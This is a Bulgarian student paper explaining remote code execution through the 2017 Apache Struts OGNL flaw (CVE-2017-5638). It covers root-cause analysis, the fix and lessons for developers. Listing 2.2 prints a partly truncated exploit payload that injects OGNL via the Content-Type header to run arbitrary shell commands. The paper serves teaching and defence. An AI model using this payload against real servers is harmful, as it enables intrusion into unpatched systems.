Remote code execution с пример в Apache Struts

Христо Вригазов

Май 2017

Съдържание

Глава 1

Дефиниране на уязвимостта

1.1 Същност

Remote code execution е общо название за проблеми в сигурността, при които хакерът (атакуващият) може да изпълни код на отдалечена машина. Поради много общата дефиниция, има много известни примери на такъв вид атака. Този тип атака се възползва от неправилната обработка на данни, на които не би трябвало да има доверие. Тези видове атаки обикновено са възможни поради липса на подходящо валидиране на данни.

1.2 Типични случаи на възникване

Най-често подобна уязвимост може да бъде използвана при следните случаи:

1. Неправилно управление на паметта. Например такива уязвимости са открити в SuperMario [1], memory_limit в PHP [2], Aerospike Database Server [3], и много други.
2. Интерпретиране на специфичен език за даден домейн, например на език за валидиране, в по-голяма програма. Скорошен пример за това е уязвимост в Apache Struts, на която ще се спрем по-подробно [4].
3. Валидиране на данни, например чрез регулярни изрази, при определени обстоятелства може да бъде използвана за подобен тип атаки [5]

1.3 Значимост

Този тип уязвимост е изключително опасна, защото позволява на атакуващия да поеме напълно уязвимия процес. От там нападателят може потенциално да има пълен контрол над машината, на която работи процесът. Заради голямата значимост, много компании обявяват големи награди за намирането на подобни уязвимости в техни продукти. [6]

Глава 2

Пример - Apache Struts

Сега ще се спрем по-подробно на скорошна уязвимост във фреймуърка за разработка на уеб приложения на Java - Apache Struts. Уязвимостта позволява на нападащия да изпълни произволен Java код, който може да бъде изпълнен през OGNL, например изпълняване на bash комадни. Това се случва чрез инжектиране на подходящо съобщение в HTTP header-а на заявка.

2.1 Примерно приложение

Тъй като проблемът е във самия фреймукърк, на базата на който стъпва уеб приложението, то уязвимо е всяко едно приложение, написано на Apache Struts и всеки един негов endpoint. Примерното приложение, което ще разгледаме, е налично в Github хранилището за проекта [8]. В него е създадено само една много проста.jsp страница и съответния Apache Struts компонент, който наследява вградения в Struts клас ActionSupport, който предоставя вградени действия като валидиране на header-и и т.н. След това те се регистрират в struts.xml файла, а изпълнението на приложението се описва в pom.xml, където в списъкът с dependency-та добавяме версия 2.5 на Apache Struts, тъй като тя е една от уязвимите версии. Прилагаме само .jsp страницата, защото всички останали неща са просто конфигурации и технически подробности:

Листинг 2.1: helloworld.jsp

```
<%@ taglib prefix="s" uri="/struts-tags" %>
<html>

<body>
        <h1>Vulnerable Struts Apps</h1>
        <br>
                Hello world !
        <br>
</body>
</html>
```

2.2 Примерна атака

За да направим атака, трябва да изпратим подходящо съобщение в Content-type header-a, което е изпълним ONGL, който създава bash процес за Linux машини или cmd.exe за windows и изпълнява дадена команда. Причината за това ще стане ясна след малко. Пълният скрипт може да бъде намерен в Github хранилището [8]

Листинг 2.2: exploit.py

```
payload = "%{(#_='multipart/form-data')."
payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
payload += "(#_memberAccess?"
payload += "(#_memberAccess=#dm):"
payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.co
payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl
payload += "(#ognlUtil.getExcludedPackageNames().clear())."
payload += "(#ognlUtil.getExcludedClasses().clear())."
payload += "(#context.setMemberAccess(#dm)))))."
payload += "(#cmd='%s')." % cmd
payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase()
payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))
payload += "(#p=new java.lang.ProcessBuilder(#cmds))."
payload += "(#p.redirectErrorStream(true)).(#process=#p.start())."
payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().g
payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),
payload += "(#ros.flush())}"
```

2.3 Причина за уязвимостта

Нека проследим какво се случва в Java проекта при изпратена HTTP заявка от атакуващия. Apache Struts извиква JakartaMultiPartRequest parse, който приема като параметри HTTTP заявката и директория, в която да бъде записан дадения файл. Той от своя страна извиква JakartaMultiPartRequest processUpload, който хвърля FileUploadException заради невалидния Content-type header и така влизаме в catch блока на JakartaMultiPartRequest parse, където се извиква метода buildErrorMessage, който от своя страна извиква статичния метод findText на класа LocalizedTextUtil. Той се опитва да локализира съобщението за грешка, като опитва различни неща като търсене в ресурсите на проекта и т.н. и ако не намери подходящ начин, го изпълнява като OGNL, който може да изпълнява Java код и на някои места в Apache Struts е използва, за да се вземе стойност на private поле например. От тук обаче идва и проблема, защото ако дадем подходящ OGNL код, то той се изпълнява в надеждата да се локализира съобщението и така може да изпълним произволен Java код.

Листинг 2.3: Част от документацията на метода findText

```
* <ol>
* <li>Look for message in aClass' class hierarchy.
* <ol>
* <li>Look for the message in a resource bundle for aClass</li>
* <li>If not found, look for the message in a resource bundle for any impl
* <li>If not found, traverse up the Class' hierarchy and repeat from the
* </ol></li>
* <li>If not found and aClass is a {@link ModelDriven} Action, then look
* the model's class hierarchy (repeat sub-steps listed above).</li>
* <li>If not found, look for message in child property.  This is
determined by evaluating
* the message key as an OGNL expression.  For example, if the key is
* <i>user.address.state</i>, then it will attempt to see if "user" can be
* object.  If so, repeat the entire process fromthe beginning with the
object's class as
* aClass and "address.state" as the message key.</li>
* <li>If not found, look for the message in aClass' package hierarchy.</li
* <li>If still not found, look for the message in the
default resource bundles.</li>
* <li>Return defaultMessage</li>
* </ol>
```

Листинг 2.4: JakartaMultiPartRequest parse

```
public void parse(HttpServletRequest request, String saveDir) throws IOExc
    try {
        setLocale(request);
        processUpload(request, saveDir);
    } catch (FileUploadException e) {
        LOG.warn("Request exceeded size limit!", e);
        String errorMessage = null;

        if(e instanceof FileUploadBase.SizeLimitExceededException) {
            FileUploadBase.SizeLimitExceededException ex = (FileUploadBase
            errorMessage = buildErrorMessage(e, new Object[]{ex.getPermitte
        } else {
            errorMessage = buildErrorMessage(e, new Object[]{});
        }

        if (!errors.contains(errorMessage)) {
            errors.add(errorMessage);
        }
    } catch (Exception e) {
        LOG.warn("Unable to parse request", e);
        String errorMessage = buildErrorMessage(e, new Object[]{});
        if (!errors.contains(errorMessage)) {
            errors.add(errorMessage);
        }
    }
}
```

2.4 Как е оправено

От версия 2.5.10.1 на Apache Struts нататък, авторите сменят алгоритъма на локализиране и той не включва изпълняване на OGNL, което автоматично оправя уязвимостта. [10]. Проблемът е забелязан по-късно, и към момента на откриване голяма част от приложенията все още са ползвали уязвимата версия. Това води до множествени атаки към приложения, написани на Apache Struts [11].

Глава 3

Поуки

От случаят с Apache Struts като програмисти можем да заключим следното:

1. Да избягваме интерпретиране по време на изпълнение код в даден език. Това включва функции подобни на eval() в различни езици за програмиране и особено в езици, които не различават код от данни като Clojure и други Lisp диалекти. В случая на Apache Struts такова интерпретиране е било използвано за нещо, което може да бъде постигнато с много по-прости средства.

2. Винаги да се санитизират входни данни. В случая авторите не са го направили, защото са очаквали да се използва само дадено подмножество на OGNL

3. Дори даден фреймуърк е на популярно общество (Apache) и ползван от много хора, не е невъзможно да има уязвимости.

Глава 4

Заключение

Apache Struts е популярен фреймуърк в екосистемата на Java за създаване на уеб приложения. При генериране на съобщения за грешка той използва интерпретирания език OGNL, за да върне локализирано съобщение за грешка. При инжектиране на подходящ код в header на HTTP заявката обаче може да се предизвика exception, като при опит за генериране на локализирано съобщение се изпълнява инжектирания OGNL, а от там може да се изпълне произволен Java код.

Литература

[1] Super mario уязвимост.
https://arstechnica.com/gaming/2014/01/how-an-emulator-fueled-robot-reprogrammed-super-mario-world-on-the-fly/

[2] PHP memory_limit уязвимост
http://www.cvedetails.com/cve/CVE-2004-0594/

[3] Aerospike Database Server
https://www.scmagazine.com/several-vulnerabilities-spotted-in-aerospike-database-server/article/631610/

[4] Apache Struts RCE on CVE
https://www.cvedetails.com/cve/CVE-2017-5638/

http://www.esecurityplanet.com/hackers/how-much-is-a-google-remote-code-execution-vulnerability-worth.html

[5] Блог пост за типични уязвимости при използването на регулярни изрази
https://infosecabsurdity.wordpress.com/2012/12/17/phpwcms-remote-code-execution-and-php-pcre-filter-evasion-bypasses-zeroday/l

[6] Google Vulnerability Reward
http://www.esecurityplanet.com/hackers/how-much-is-a-google-remote-code-execution-vulnerability-worth.html

[7] OGNL
https://commons.apache.org/proper/commons-ognl/index.html

[8] Github repository of the project
https://github.com/hristo-vrigazov/security-programming-fmi

[9] Issue with the exploit
https://github.com/rapid7/metasploit-framework/issues/8064

[10] Fixed version of Apache Struts
https://github.com/apache/struts/tree/STRUTS_2_5_10_1

[11] Apache Struts vulnerability article
https://www.imperva.com/blog/2017/03/cve-2017-5638-new-remote-code-execution-rce-vulnerability-in-apache-struts-2/